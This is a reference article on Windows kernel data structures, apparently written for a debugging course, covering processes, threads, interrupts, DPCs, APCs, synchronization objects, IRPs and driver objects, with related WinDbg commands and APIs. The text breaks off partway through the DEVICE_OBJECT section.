* * *
During our Windows internals and debugging classes, students frequently ask us
questions along the lines of - "What data structure does the Windows kernel
use for a mutex?". This article attempts to answer such questions by
describing some of the key data structures that are used by the Windows kernel
and device drivers.

This article lays emphasis on the relationship of a structure with others in
the system, helping the reader navigate through these structures in the kernel
debugger. While reading this article, the reader is encouraged to have a
kernel debugger readily available to try out the debugger commands and examine
the structures and their fields. This article is intended to be a reference,
not a tutorial.

For each structure, this article provides a high level description of the
structure, followed by details of some of the important fields that point to
other structures. If applicable, debugger commands that apply to the structure
and functions that manipulate the structure are provided. Most of the data
structures mentioned in this article are allocated by the kernel from paged or
non-paged pool, which is a part of the kernel virtual address space.

The following data structures are discussed in this document, click on any of
them to directly go to the description.

* * *
#### Doubly Linked List

##### nt\!\_LIST\_ENTRY

Most data structures in the Windows kernel are maintained in linked lists
where in a list head points to a collection of list elements or entries. The
LIST\_ENTRY structure is used to implement these circular doubly linked lists.
The LIST\_ENTRY structure is used as the anchor or head of the list as well as
the link that is used to maintain the individual elements in the list. The
LIST\_ENTRY structure is typically embedded in a larger structure that
represents an individual element in the list.

<img src='img/Temp2_1508.png' alt='LIST_ENTRY' />  
---  
Figure : Data Structures in a Doubly Linked List  
The debugger's “dt -l” command walks a linked list using any of the embedded
LIST\_ENTRY structures and displays all the elements in the list. The "dl" and
"db" commands walk a doubly linked list in the forward or backward direction
and so do the "\!dflink" and "\!dblink" commands.

**APIs :** InitializeListHead\(\), IsListEmpty\(\), InsertHeadList\(\),
InsertTailList\(\), RemoveHeadList\(\), RemoveTailList\(\),
RemoveEntryList\(\), ExInterlockedInsertHeadList\(\),
ExInterlockedInsertTailList\(\), ExInterlockedRemoveHeadList\(\)

#### Process and Thread

##### nt\!\_EPROCESS

The Windows Kernel uses the EPROCESS structure to represent a process and
contains all the information that the kernel needs to maintain about the
process. There is an EPROCESS structure for every process running in the
system including the System Process and the System Idle Process, the two
processes that run in the kernel.

The EPROCESS structure belongs to the executive component of the kernel and
contains process resource related information like handle table, virtual
memory, security, debugging, exception, creation information, I/O transfer
statistics, process timing etc.

The pointer to the EPROCESS structure for the system process is stored in
nt\!PsInitialSystemProcess and that of the SystemIdle process is stored
nt\!PsIdleProcess.

Any process may simultaneously belong to multiple sets or groups. For example,
a process is always in the list of processes that are active in the system, a
process may belong to the set of processes running inside a session and a
process may be the part of a job. In order to implement these sets or groups,
EPROCESS structures are maintained as a part of multiple lists using different
fields in the structure.

The **ActiveProcessLink** field is used to maintain the EPROCESS structure is
the list of processes in the system, and the head of this list is kept in the
kernel variable nt\!PsActiveProcessHead. Similarly, the
**SessionProcessLinks** field is used to link the EPROCESS structure to a list
of processes in a session whose list head is in
MM\_SESSION\_SPACE.ProcessList. And the **JobLinks** field is used to link the
EPROCESS to a list of processes that are a part of a job whose list head is in
EJOB.ProcessListHead. The memory manager global variable MmProcessList
maintains a list of processes using the **MmProcessLinks** field. This list is
traversed by MiReplicatePteChange\(\) to update the kernel mode portion of the
process’s virtual address space.

A list of all threads that belong to a process is maintained in
**ThreadListHead** in which threads are queued via ETHREAD.ThreadListEntry.

The kernel variable ExpTimerResolutionListHead maintains a list of processes
that have called NtSetTimerResolution\(\) to change the timer interval. This
list is used by ExpUpdateTimerResolution\(\) to update the time resolution to
the lowest requested value amongst all the processes.

The “\!process” command displays information from the EPROCESS structure. The
“.process” command switches the debugger’s virtual address space context to
that of a particular process, this is a very critical step when examining user
mode virtual address in a complete kernel dump or while live debugging a
system using a kernel debugger.

**APIs :** ZwOpenProcess\(\), ZwTerminateProcess\(\),
ZwQueryInformationProcess\(\), ZwSetInformationProcess\(\),
PsSuspendProcess\(\),PsResumeProcess\(\), PsGetProcessCreateTimeQuadPart\(\),
PsSetCreateProcessNotifyRoutineEx\(\), PsLookupProcessByProcessId\(\),
PsGetCurrentProcess\(\), PsGetCurrentProcessId\(\),
PsGetCurrentProcessSessionId\(\), PsGetCurrentProcessWin32Process\(\),
PsGetCurrentProcessWow64Process\(\), PsGetCurrentThreadProcess\(\),
PsGetCurrentThreadProcessId\(\), PsGetProcessCreateTimeQuadPart\(\),
PsGetProcessDebugPort\(\), PsGetProcessExitProcessCalled\(\),
PsGetProcessExitStatus\(\), PsGetProcessExitTime\(\), PsGetProcessId\(\),
PsGetProcessImageFileName\(\), PsGetProcessInheritedFromUniqueProcessId\(\),
PsGetProcessJob\(\), PsGetProcessPeb\(\), PsGetProcessPriorityClass\(\),
PsGetProcessSectionBaseAddress\(\), PsGetProcessSecurityPort\(\),
PsGetProcessSessionIdEx\(\), PsGetProcessWin32Process\(\),
PsGetProcessWin32WindowStation\(\), PsGetProcessWow64Process\(\)

##### nt\!\_KPROCESS

The KPROCESS structure which is embedded inside the EPROCESS structure, and
stored in the EPROCESS.Pcb field, is used by the lower layers of the kernel
and contains scheduling related information like threads, quantum, priority
and execution times.

The field **ProfileListHead** contains list of profile objects that have been
created for this process. This list is used by the profile interrupt to record
the instruction pointer for profiling.

The field **ReadyListHead** is list of threads that are ready to run in this
process. This list is non-empty only for processes that are non-resident in
memory. KTHREAD data structures of ready threads are linked to this list via
the KTHREAD.WaitListEntry field.

The field **ThreadListHead** is the list of all threads in the process.
KTHREAD data structures are linked to this list via the
KTHREAD.ThreadListEntry. This is used by the kernel to find all the threads in
the process.

The field **JobLinks** is the list of processes that are part of a job are
queued together in a linked list with head of the list at EJOB.
ProcessListHead.

##### nt\!\_ETHREAD

The Windows Kernel uses the ETHREAD structure to represent a thread and for
every thread in the system there is an ETHREAD structure, including threads in
the System Idle Process.

ETHREAD structure belongs to the executive component of the kernel and
contains information that other executive components like I/O manager,
security reference monitor, memory mange, Advanced Local Procedure Call
\(ALPC\) manager need to maintain about a thread.

The **Tcb** field contains the KTHREAD structure embedded in the ETHREAD and
used to store information related to thread scheduling.

Every process stores the list of ETHREAD structures, representing threads
running in the process, in the TheadListHead field of the EPROCESS structure.
ETHREAD structures are linked to this list via the **ThreadListEntry** their
fields.

The **KeyedWaitChain** field is used to maintain the thread in the list of
threads that are waiting on a particular keyed event. The function

The **IrpList** is a list of IRPs representing I/O requests generated by this
thread that are currently pending in various drivers in the system. These are
the list of IRPs will have to be cancelled when the thread terminates.

The **CallbackListHead** field is used to store a linked list of Registry
callbacks that would be invoked in order to notify registry filter drivers
about registry operations the thread is performing. This field is valid
between the pre and post notification registry callbacks. The PostBlockList
field is used

The **Win32StartAddress** is the address to the thread’s top level function
i.e. the function that was passed in the CreateThread\(\) for user mode
threads and PsCreateSystemThread\(\) for kernel mode threads.

The **ActiveTimerListHead** is the head of the list of timers that are set as
active \(will expire after a certain period\) by the current thread. The
ActiveTimerListLock protects this list and the ETIMER.ActiveTimerListEntry
field is used to queue the timer object to this list by the function
ExpSetTimer\(\).

The debugger’s “\!thread”, shows information about a thread. The “.thread”
command switches the debugger’s CPU register context to that of a particular
thread.

**APIs :** PsCreateSystemThread\(\), PsTerminateSystemThread\(\),
PsGetCurrentThreadId\(\), PsSetCreateThreadNotifyRoutine\(\),
PsRemoveCreateThreadNotifyRoutine\(\), PsLookupThreadByThreadId\(\),
PsIsSystemThread\(\), PsIsThreadTerminating\(\), ZwCurrentThread\(\)

##### nt\!\_KTHREAD

The KTHREAD structure which is embedded inside the ETHREAD structure, and
stored in the ETHREAD.Tcb field, is used by the lower layers of the kernel and
contains information like thread stacks, scheduling, APCs, system calls,
priority, execution times etc.

The **QueueListEntry** field is used to link threads that are associated with
a KQUEUE data structure, the field KQUEUE.ThreadListHead is the head of this
list. KQUEUE structures are used to implement executive worker queues
\(EX\_WORK\_QUEUE\) and I/O completion ports. This is used by functions like
KiCommitThreadWait\(\) to activate other threads in a worker queue when the
current worker thread associate with the queue waits on something other than a
work queue.

The **MutantListHead** field is used to maintain a list of mutexes that the
thread has acquired. The function KiRundownMutants\(\) uses this list to
detect if a thread terminates before releasing all the mutexes it owns in
which case it crashes the system with the bugcheck
THREAD\_TERMINATE\_HELD\_MUTEX.

The **Win32Thread** field points to the Win32K.sys structure W32THREAD when a
user mode thread gets converted to a User Interface \(UI\) thread when it
makes a call into USER32 or GDI32 APIs. The function PsConvertToGuiThread\(\)
performs this conversion. The Win32K.sys function AllocateW32Thread\(\) calls
PsSetThreadWin32Thread\(\) to set the value of the Win32Thread field. The size
of the structure allocate per thread is stored in Win32K.sys variable
W32ThreadSize.

The **WaitBlock** field is an array of 4 KWAIT\_BLOCK structures that the
thread uses to wait on native kernel objects. One of the KWAIT\_BLOCKs is
reserved for implementing waits with timeouts and hence can only point to
KTIMER objects.

The **WaitBlockList** field points to an array of KWAIT\_BLOCK structures that
the thread uses to wait on one or more objects. This field is set by the
function KiCommitThreadWait\(\) right before the thread actually enters into
its wait state. If the number of objects the thread us waiting on are less
than THREAD\_WAIT\_OBJECTS\(3\), WaitBlockList might either point to the built
in WaitBlock\[\] array, but if the number of objects are more than
THREAD\_WAIT\_OBJECTS but less than MAXIMUM\_WAIT\_OBJECTS\(64\) then
WaitBlockList points to an externally allocated array of KWAIT\_BLOCKs.
ObpWaitForMultipleObjects\(\) is one of the functions that allocates the
KWAIT\_BLOCK array with the tag ‘Wait’.

The **WaitListEntry** field is used to add the KTHREAD structure to the list
of threads that have entered into a wait state on a particular CPU. The
WaitListHead field of the Kernel Processor Control Region \(KPRCB\) structure
for every CPU links such threads together via the KTHREAD.WaitListEntry field.
Threads are added to this list by the function KiCommitThreadWait\(\) and
removed from this list by KiSignalThread\(\).

**API:** KeWaitForSingleObject\(\), KeWaitForMultipleObject\(\),
KeSetBasePriorityThread\(\), KeGetCurrentThread\(\),
KeQueryPriorityThread\(\), KeQueryRuntimeThread\(\),
KeSetSystemGroupAffinityThread\(\), KeRevertToUserAffinityThreadEx\(\),
KeRevertToUserGroupAffinityThread\(\), KeDelayExecutionThread\(\),
KeSetSystemAffinityThreadEx\(\), KeSetIdealProcessorThread\(\),
KeSetKernelStackSwapEnable\(\)

#### Kernel and HAL

##### nt\!\_KPCR

KPCR represents the Kernel Processor Control Region. The KPCR contains per-CPU
information which is shared by the kernel and the HAL. There are as many KPCR
in the system as there are CPUs.

The KPCR of the current CPU is always accessible at fs:\[0\] on the x86
systems and gs:\[0\] on x64 systems. Commonly used kernel functions like
PsGetCurrentProcess\(\) and KeGetCurrentThread\(\) retrieve information from
the KPCR using the FS/GS relative accesses.

The **Prcb** field contains an embedded KPRCB structure that represents the
Kernel Processor Control Block.

The debugger’s “\!pcr” command displays partial contents of the PCR.

##### nt\!\_KINTERRUPT

Interrupt Service Routines \(ISRs\) execute on the CPU when whenever an
interrupt or exception occurs. The Interrupt Descriptor Table \(IDT\) is a CPU
defined data structure that points to the ISRs registered by the kernel. This
IDT is used by the CPU hardware to lookup the ISR and dispatch it during an
interrupt or exception. The IDT has 256 entries each one of which points to an
ISR. The interrupt vector is the index of a particular slot in the IDT. The
KINTERRUPT structure represents a driver’s registration of an ISR for one of
these vectors.

The field **DispatchCode** is an array of bytes containing the first few
instructions of the interrupt servicing code. The IDT entry for a particular
vector points directly to the DispatchCode array which in turn calls the
function pointed to by **DispatchAddress**. This function is typically
KiInterruptDispatch\(\) and is responsible for setting up the environment
required to call the driver supplied ISR pointed to by the **ServiceRoutine**
field.

For Message Signaled Interrupts \(MSIs\) the **ServiceRoutine** field points
to the kernel wrapper function KiInterruptMessageDispatch\(\) which invokes
the driver provided MSI interrupt service routine pointed to by
**MessageServiceRoutine**.

The **ActualLock** field points to the spinlock lock that is acquired at the
IQRL in the field **SynchronizeIrql** before invoking the driver supplied ISR.

Due to interrupt sharing on the PCI bus multiple KINTERRUPT data structures
can be registered for a single Interrupt Request Line \(IRQ\). The IDT entry
for such shared interrupt vectors point to the first KINTERUPT structure and
the other KINTERRUPT structures are chained to the first one using the
**InterruptListEntry** field.

The debugger’s “\!idt -a” command displays the entire Interrupt Description
Table of a particular CPU.

**API:** IoConnectInterrupt\(\), IoConnectInterruptEx\(\),
IoDisconnectInterrupt\(\), IoDisconnectInterruptEx\(\),
KeAcquireInterruptSpinLock\(\), KeReleaseInterruptSpinLock\(\),
KeSynchronizeExecution\(\)

##### nt\!\_CONTEXT

This CONTEXT structure stores the CPU dependent part of an exception context
which comprises of the CPU registers and is used by functions like
KiDispatchException\(\) to dispatch exceptions.

The partial contents of the CONTEXT structure are populated from the registers
captured in the KTRAP\_FRAME structure by the function
KeContextFromKframes\(\). Likewise after the exception has been dispatched the
modified contents of the CONTEXT structure are restored back into the
KTRAP\_FRAME by the KeContextToKframes\(\). This mechanism is used in the
implementation of structured exception handling \(SEH\).

The **ContextFlags** field is a bitmask that determines which fields of the
CONTEXT structure contain valid data. For example CONTEXT\_SEGMENTS indicates
that the segment registers in the context structure are valid.

The debugger’s “.cxr” command switches the debugger’s current register context
to that stored in a CONTEXT structure.

**API :** RtlCaptureContext\(\)

##### nt\!\_KTRAP\_FRAME

KTRAP\_FRAME is used to save the contents of the CPU’s registers during
exception or interrupt handling. KTRAP\_FRAME structures are typically
allocated on the kernel mode stack of the thread. A small part of the trap
frame is populated by the CPU as a part of its own interrupt and exception
handling, the rest of the trap frame is created by the software exception and
interrupt handler provided by Windows i.e. functions like KiTrap0E\(\) or
KiPageFault and KiInterruptDispatch\(\). On the X64 CPU, some fields in the
trap frame that contain non-volatile register values are not populated by the
exception handlers.

The debugger’s ".trap" command switches the debugger’s current register
context to that stored in a KTRAP\_FRAME structure.

##### nt\!\_KDPC

DPC Routines are used to postpone interrupt processing to IRQL
DISPATCH\_LEVEL. This reduces the amount of time a particular CPU has to spend
at high IRQL i.e. DIRQLx. DPCs are also used to notify kernel components about
expired timers. Interrupt service routines \(ISRs\) and timers request DPCs.

KDPC represents a Deferred Procedure Call \(DPC\) data structure that contains
a pointer to a driver supplied routine that would be called at IRQL
DISPATCH\_LEVEL in arbitrary thread context.

Unlike interrupt service routines that execute on the stack of the thread that
got interrupted DPC routines execute on a per-CPU DPC stack that is stored in
KPCR.PrcbData.DpcStack.

The DEVICE\_OBJECT structure has a KDPC structure built in the field Dpc and
is used to request DPC routine from ISRs.

KDPC structures are maintained in a per-CPU DPC queue. The
PrcbData.DpcData\[0\] field of the KPCR data structure contains the head of
this list. The **DpcListEntry** field of the KDPC is used to maintain the DPC
in this list.

The debugger “\!pcr” and “\!dpcs” command displays information about DPC
routines for a single processor.

**API :** IoRequestDpc\(\), IoInitializeDpcRequest\(\), KeInitializeDpc\(\),
KeInsertQueueDpc\(\), KeRemoveQueueDpc\(\), KeSetTargetProcessorDpcEx\(\)

##### nt\!\_KAPC

Asynchronous Procedure Call \(APC\) routines execute at PASSIVE\_LEVEL or
APC\_LEVEL in the context of a specific thread. These routines are used by
drivers to perform actions in the context of a specific process, primarily to
get access to the process’s user mode virtual address space. Certain
functionality in Windows like attaching and detaching a thread to process and
thread suspension are built on top of APCs. APCs are of 3 types - user mode,
normal kernel mode, special kernel mode.

KAPC represents an Asynchronous Procedure Call \(APC\) structure that contains
a pointer to a driver supplied routines that executes in the context of a
specific thread at PASSIVE\_LEVEL or APC\_LEVEL when the conditions are
conducive for APCs to be delivered to that thread.

The 2 entries in the array KTHREAD.ApcState.ApcListHead\[\] contain the list
of User Mode & Kernel Mode APCs pending for the thread. KAPC structures are
linked to this list using the field **ApcListEntry**.

Setting KTHREAD.SpecialApcDisable to a negative value causes special and
normal kernel APCs to be disabled for that thread.

Setting KTHREAD.KernelApcDisable to a negative value causes normal kernel APCs
to be disabled for that thread.

The field **NormalRoutine** is NULL for special kernel APCs. For normal kernel
APCs the function pointed to by NormalRoutine runs at PASSIVE\_LEVEL.

The field **KernelRoutine** points to a function that executes at APC\_LEVEL.

The field **RundownRoutine** points to a function that executes when APC is
discarded during thread termination.

The debugger “\!apc” command scans all the threads in the system for pending
APCs and displays them.

**API :** KeEnterGuardedRegion\(\), KeLeaveGuardedRegion\(\),
KeEnterCriticalRegion\(\), KeLeaveCriticalRegion\(\), KeInitializeApc\(\),
KeInsertQueueApc\(\), KeRemoveQueueDpc\(\) KeFlushQueueApc\(\),
KeAreApcsDiabled\(\).

##### nt\!\_KAPC\_STATE

The windows kernel allows threads to attach to a different process than the
one they were originally created in. This allows threads to get temporary
access to another processes user mode virtual address space. The KAPC\_STATE
is used to save the list of APCs queued to a thread when the thread attaches
to another process. Since APCs are thread \(and process\) specific, when a
thread attaches to a process different from its current process its APC state
data needs to be saved. This is required because APC that are currently queued
to the thread \(that need the original process’s address\) cannot be delivered
in the new process context to which the thread attaches itself. The KTHREAD
structure has two built in KAPC\_STATE objects - one for the thread’s original
process and another one for the attached process. In the event that the thread
performs stacked \(nested\) attachments, the caller need to provide storage
for more KAPC\_STATE structures that would be required to save the current APC
state variables and move to the new APC environment.

The 2 entries in the array **ApcListHead** are the heads of the list of User
Mode & Kernel Mode APCs pending for the thread. KAPC structures are linked to
this list using the field ApcListEntry.

**API :** KeAttachProcess\(\), KeDetachProcess\(\), KeStackAttachProcess\(\),
KeUnstackDetachProcess\(\).

#### Synchronization Objects

##### nt\!\_DISPATCHER\_HEADER

Native kernel objects in Windows are data structures that threads can directly
wait on via calls to KeWaitForSingleObject\(\) and its variants. While the
logic around these structures is implemented in the kernel, most of these
structures are exposed to user mode applications via native \(Nt/Zw\) Win32
APIs. Events, semaphores, mutexes, timers, threads, processes, and queues are
examples of native kernel objects.

The DISPATCHER\_HEADER structure is embedded inside every native kernel object
and is a key component in the thread wait functionality implemented in the
scheduler.

Every KTHREAD structure contains a built in array of KWAIT\_BLOCK structures
that are used to block the thread on native kernel objects. The
**WaitListHead** field of the DISPATCHER\_HEADER structure in the native
kernel object, points to a chain of KWAIT\_BLOCKs structures each one of which
represents a thread waiting on the native kernel object. The
KWAIT\_LOCK.WaitListEntry field is used to maintain the KWAIT\_BLOCK
structures in this list. When the native kernel object is signaled one or more
KWAIT\_BLOCKs are removed from the list and the containing threads are put
into the Ready state.

The **Type** field identifies the containing object within which the
DISPATCHER\_HEADER is embedded. This is one of the first 10 values in the
enumerated type nt\!\_KOBJECTS. This field determines how the other fields of
the DISPATCHER\_HEADER would be interpreted.

The **Lock** field \(bit 7\) implements an object specific custom spin lock
that protects the SignalState and WaitListFields fields of the
DISPATCHER\_HEADER structure. The **SignalState** field determines if the
object has been signaled.

**API :** KeWaitForSingleObject\(\), KeWaitForMultipleObjects\(\),
KeWaitForMutexObject\(\) etc.

##### nt\!\_KEVENT

KEVENT represents the kernel event data structure. Events are of 2 types -
Synchronization \(Auto Reset\) and Notification \(Manual Reset\). When a
synchronization event is signaled by a thread only one waiting thread is made
ready to run, but when a notification event is signaled by a thread all the
threads waiting on the event are put into the ready state. KEVENTs can exist
as standalone data structures initialized by KeInitializeEvent\(\) or as event
objects created with ZwCreateEvent\(\), a native function internally used by
the kernel APIs IoCreateSynchronizationEvent\(\) and
IoCreateNotificationEvent\(\). Events are built around a DISPATCHER\_HEADER
structure which is used to keep track of waiting threads and wake them up when
the event is signaled.

**API :** KeInitializeEvent\(\), KeSetEvent\(\), KeClearEvent\(\),
KeResetEvent\(\), KeReadStateEvent\(\), KeWaitForSingleObject\(\),
KeWaitForMultipleObject\(\), IoCreateSynchronizationEvent\(\) and
IoCreateNotificationEvent\(\).

##### nt\!\_KSEMAPHORE

KSEMAPHORE represents the kernel semaphore data structure. Semaphores are
claimed by threads calling KeWaitForSingleObject\(\). If the number of threads
that have already acquired the semaphore exceed the semaphore limit,
subsequent threads calling KeWaitForSingleObject\(\) enter into a wait state.
One such waiting thread is readied for execution when any thread releases the
semaphore by making a call to KeReleaseSemaphore\(\).

The count of threads that have already claimed the semaphore is stored in the
field **Header.SignalState**. The **Limit** field is used to store the maximum
number of threads that are allowed to simultaneously claim the semaphore.

**API :** KeInitializeSemaphore\(\), KeReadStateSemaphore\(\),
KeReleaseSemaphore\(\)

##### nt\!\_KMUTANT

KMUTANT represents a kernel mutex data structure. A mutex can only be acquired
by a single thread any point in time, but the same thread can recursive
acquire the mutex multiple times.

The **OwnerThread** field points to the KTHREAD structure of the thread that
has acquired he mutex.

Every thread maintains the list of mutexes acquired by the it in a linked
list, the head of this list is in the field KTHREAD.MutantListHead and
**MutantListEntry** field of the mutex is used to chain it to this list.

The **ApcDisable** field determines if the mutex is a user or kernel mode
object, a value of 0 indicates user mode mutex and any other value indicates a
kernel mode mutex.

The **Abandoned** field of the mutex is set when the mutex is deleted without
being released. This can result in the exception STATUS\_ABANDONED being
raised.

**API :** KeInitializeMutex\(\), KeReadStateMutex\(\), KeReleaseMutex\(\),
KeWaitForMutexObject\(\)

##### nt\!\_KTIMER

KTIMER represents a timer data structure. When a thread goes to sleep or waits
on a dispatcher object with a timeout the Windows kernel internally uses a
KTIMER to implement the wait.

The kernel maintains the array KiTimerListHead\[\] containing 512 list heads
where each list stores a list of KTIMER objects are due to expire at a certain
time. The field **TimerListEntry** is used to maintain the KTIMER in this
list.

When a timer expires, it can either wake up a thread waiting on the timer or
it can schedule a DPC routine to notify a driver about timer expiration, the
pointer to the DPC data structure is stored in the **Dpc** field. Timers can
be episodic \(expire once\) or periodic \(expire repeatedly until cancelled\).

The debugger’s “\!timer” command displays all the active KTIMERs in the
system.

**API :** KeInitializeTimer\(\),KeSetTimer\(\), KeSetTimerEx\(\),
KeCancelTimer\(\), KeReadStateTimer\(\)

##### nt\!\_KGATE

KGATE represents a kernel gate object. The functionality offered by KGATEs is
every similar to that offered by Synchronization type KEVENTs, however KGATEs
are more efficient than KEVENTs.

When a thread waits on dispatcher objects like events, semaphores, mutexes
etc., it uses KeWaitForSingleObject\(\) or its variants all of which are
generic functions and have to handle all the special case conditions related
to thread waits e.g. alerts, APCs, worker thread wakeup etc. Waiting on KGATEs
on the other hand is done through a specialized function KiWaitForGate\(\)
that does not cater to all the special case conditions, making the code path
very efficient. The downside, However, of using a specialized API is that a
thread cannot simultaneously wait on a KGATE object and another dispatcher
object.

KGATE APIs are used internally by the kernel and is not exported for drivers
to call. KGATEs are used in many places internally in the kernel including for
implementing guarded mutexes. Guarded mutexes internally wait on KGATE objects
when the mutex is not available.

**API :** KeWaitForGate\(\), KeInitializeGate\(\),
KeSignalGateBoostPriority\(\)

##### nt\!\_KQUEUE

KQUEUE represents a kernel queue data structure. KQUEUEs are used to implement
executive work queues, thread pools as well as I/O completion ports.

Multiple threads can simultaneously wait on a queue via calls to
KeRemoveQueueEx\(\). When a queue item \(any data structure with an embedded
LIST\_ENTRY field\) is inserted into the queue, one of the waiting threads is
woken up and provided with a pointer to the queue item after it is taken out
of the queue.

Generic kernel wait functions like KeWaitForSingleObject\(\),
KeWaitForMultipleObjects\(\) have special logic to deal with threads that are
associated with a queue. Whenever such a thread waits on a dispatcher object
other than a queue, another thread associated with the queue is woken up to
process subsequent items from the queue. This ensures that items that are
being inserted in the queue are serviced as soon as possible.

The field **EntryListHead** is head of the list of items inserted into the
queue using an embedded LIST\_ENTRY field in the item. The function
KiAttemptFastInsertQueue\(\) inserts items into the queue and the function
KeRemoveQueueEx\(\) removes items from this queue.

The field **ThreadListHead** points to the list of threads that are associated
with this queue. For all such threads the KTHREAD.Queue field points to the
queue.

The **CurrentCount** field contains the number of threads that are actively
processing queue items and is limited by the number stored in the field
**MaximumCount** , which set according to the number of CPUs on the system.

**API :** KeInitializeQueue\(\), KeInsertQueue\(\), KeRemoveQueue\(\),
KeInsertHeadQueue\(\)

#### Executive and Run Time Library

##### nt\!\_IO\_WORKITEM

Drivers use work items to defer execution of certain routines to kernel worker
threads that invoke the driver supplied routine at PASSIVE\_LEVEL. Work items
containing pointer to driver supplied work routines are queued by drivers to a
fixed set of kernel work queues. Kernel provided worker threads i.e.
ExpWorkerThread\(\) service these work queues by de-queuing work items and
invoking the work routines therein. The IO\_WORKITEM structure represents a
work item.

The kernel variable nt\!ExWorkerQueue contains an array of 3 EX\_WORK\_QUEUE
structures which represent the Critical, Delayed and HyperCritical work queues
in the system. The **WorkItem** field is used to queue the IO\_WORK\_ITEM
structure to one of these work queues.

The function IoQueueWorkItemEx\(\) takes a reference on **IoObject** , a
pointer to the driver or device object, to prevent the driver from unloading
as long as the work routine execution was pending.

The **WorkerRoutine** field in the embedded WORK\_QUEUE\_ITEM structure points
to the I/O manager provided wrapper function called IopProcessWorkItem\(\)
which invokes the driver supplied work routine and drops the reference count
on IoObject.

The **Routine** field points to the driver supplied work routine that will
execute at IRQL PASSIVE\_LEVEL.

The debugger’s “\!exqueue” command displays information about worker queues
and worker threads.

**API :** IoAllocateWorkItem\(\), IoQueueWorkItem\(\),
IoInitializeWorkItem\(\), IoQueueWorkItemEx\(\), IoSizeofWorkItem\(\),
IoUninitializeWorkItem\(\), IoFreeWorkItem\(\).

#### I/O Manager

##### nt\!\_IRP

The IRP represents an I/O request packet structure which is used to
encapsulate all the parameters that are required to perform a particular I/O
operation as well as the status of the I/O operation. The IRP also acts as a
thread independent call stack in that it can be passed from one thread to
another thread or to a DPC routine via queues implemented in drivers. IRPs are
key to Windows asynchronous I/O processing model where applications can fire
off multiple I/O requests and continue to perform other processing while the
I/O requests are being processed by drivers or hardware devices. This
asynchronous model allows for maximum throughput and optimal resource
utilization. IRPs are allocated by the I/O Manager component of the Windows
Kernel in response to applications calling Win32 I/O APIs. IRPs can also be
allocated by device drivers for I/O requests that are orginate in the kernel.
IRPs flow through stack of drivers wherin each driver performs its value added
per-processing on the IRP before passing it down to the driver below it, by
calling IoCallDriver\(\). Typically the driver at the bottom of the stack
completes the IRP, by calling IoCompleteRequest\(\), which results in each
driver in the stack being notified about the completion and giving these
drivers a chance to perform post-processing operations on the IRP.

IRPs consist of a fixed length header i.e. the IRP data structure and a
variable number of stack locations, stored in the field **StackCount** where
each stack location is represented by the IO\_STACK\_LOCATION data structure.
IRPs must contain at least as many stack locations as there are device objects
layered on top of each other in a device stack, that will be processing the
IRP. The number of device objects in a stack of drivers is stored in the
DEVICE\_OBJECT.StackSize field. IRPs are typically allocated from look-aside
lists that support fixed sized allocations. Hence IRPs allocated by the I/O
manager have either 10 or 4 I/O stack locations depending on the number of
device objects in the stack the IRP is targeted at.

Some IRPs are queued to the thread that originated them using the
**ThreadListEntry** field. The head of this list is in ETHREAD.IrpList.

The field **Tail.Overlay.ListEntry** is used by drivers to maintain the IRP in
an internal queue, typically anchored in a field of type LIST\_ENTRY stored in
the device extension structure of a driver created DEVICE\_OBJECT.

The field **Tail.CompletionKey** is used when the IRP is queued to an I/O
completion port.

The debugger’s “\!irp” command displays details about an IRP. The “\!irpfind”
command finds all or specific set of IRPs in the system by scanning non-paged
pool.

**API :** IoAllocateIrp\(\), IoBuildDeviceIoControlRquest\(\), IoFreeIrp\(\),
IoCallDriver\(\), IoCompleteRequest\(\), IoBuildAsynchronousFsdRequest\(\),
IoBuildSynchronousFsdRequest\(\), IoCancelIrp\(\), IoForwardAndCatchIrp\(\),
IoForwardIrpSynchronously\(\), IoIsOperationSynchronous\(\),
IoMarkIrpPending\(\).

##### nt\!\_IO\_STACK\_LOCATION

IO\_STACK\_LOCATION contains information about an I/O operation that a
particular driver within a stack of drivers is required to perform. IRP
contain multiple embedded I/O stack locations all of which are allocated at
the time the IRP is allocated. There at least as many I/O stack locations in
an IRP as there are driver in the device stack. I/O stack locations are owned
by device in the reverse order in which they appear in the device stack i.e.
the topmost device in the stack owns the bottom most stack location and vice
versa. The I/O manager is responsible for populating the I/O stack location
for the topmost device and each driver is responsible for populating the I/O
stack location for the next device in the chain.

The **Parameters** field is a union of multiple structures each representing
an I/O operation that the corresponding driver must perform. The selection of
a particular structure in the Parameters union depends on the
**MajorFunction** field. The possible values in this field are defined by the
IRP\_MJ\_xxx values defined in wdm.h. Certain major functions have minor
function associated with them. These minor function numbers are stored in the
**MinorFunction** field. For example IRP\_MN\_START\_DEVICE is a minor
function code associated with the major function IRP\_MJ\_PNP.

**API :** IoGetCurrentIrpStackLocation\(\), IoGetNextIrpStackLocation\(\),
IoCopyCurrentIrpStackLocationToNext\(\), IoSkipCurrentIrpStackLocation\(\),
IoMarkIrpPending\(\)

##### nt\!\_DRIVER\_OBJECT

DRIVER\_OBJECT represents a driver image loaded in memory. The I/O manager
creates the driver object before a driver is loaded into memory and the
DriverEntry\(\) routine receives a pointer to the driver object. Similarly the
driver object is freed after the driver is unloaded from memory.

The **MajorFunction** field is an array with each element pointing to a
function provided by the driver known as the dispatch entry point. These entry
points are used by the I/O manager to dispatch IRPs to the driver for
processing.

The **DriverName** field contains the name of the driver object within the
object manager name space.

The field **DriverStart** is the address in the kernel virtual address space
where the driver is loaded and **DriverSize** contains the number of bytes the
driver mapping takes up, rounded up to the nearest page boundary.

The field **FastIoDispatch** points to a structure of type FAST\_IO\_DISPATCH
that contains pointers to routines provided by file system drivers.

**DriverSection** points to a data structure of type LDR\_DATA\_TABLE\_ENTRY,
maintained by the loader to keep track of the driver image in memory.

The debugger’s “\!drvobj” command displays information about a driver object.

**API :** IoAllocateDriverObjectExtension\(\), IoGetDriverObjectExtension\(\)

##### nt\!\_DEVICE\_OBJECT

DEVICE\_OBJECT represents a logical or physical device in the system. Unlike
driver objects that are created by I/O manager before a driver is loaded,
DEVICE\_OBJECTs are created by the drivers themselves. I/O requests are always
targeted at device objects as opposed to driver objects. A pointer to the
device object is passed to the driver’s dispatch routine to identify the
device at which the I/O request is targeted.

Driver objects maintain a linked list of devices that the driver has created.
This list is anchored in DRIVER\_OBJECT.DeviceObject and uses the
**NextDevice** field to link the device objects together. The device object,
in turn, points back to the owning driver object via the **DriverObject**
field. Although device objects are system defined data structures they can
have driver specific extensions. This extension data structure is allocated
along with the device object, from non-paged pool, based on a caller specified
size and the pointer to this extension is available in **DeviceExtension**.

Device objects can be layered on top of other device objects forming a stack
of devices. The **StackSize** field identifies how many device objects,
including it, are below the device object. This field is also used by the I/O
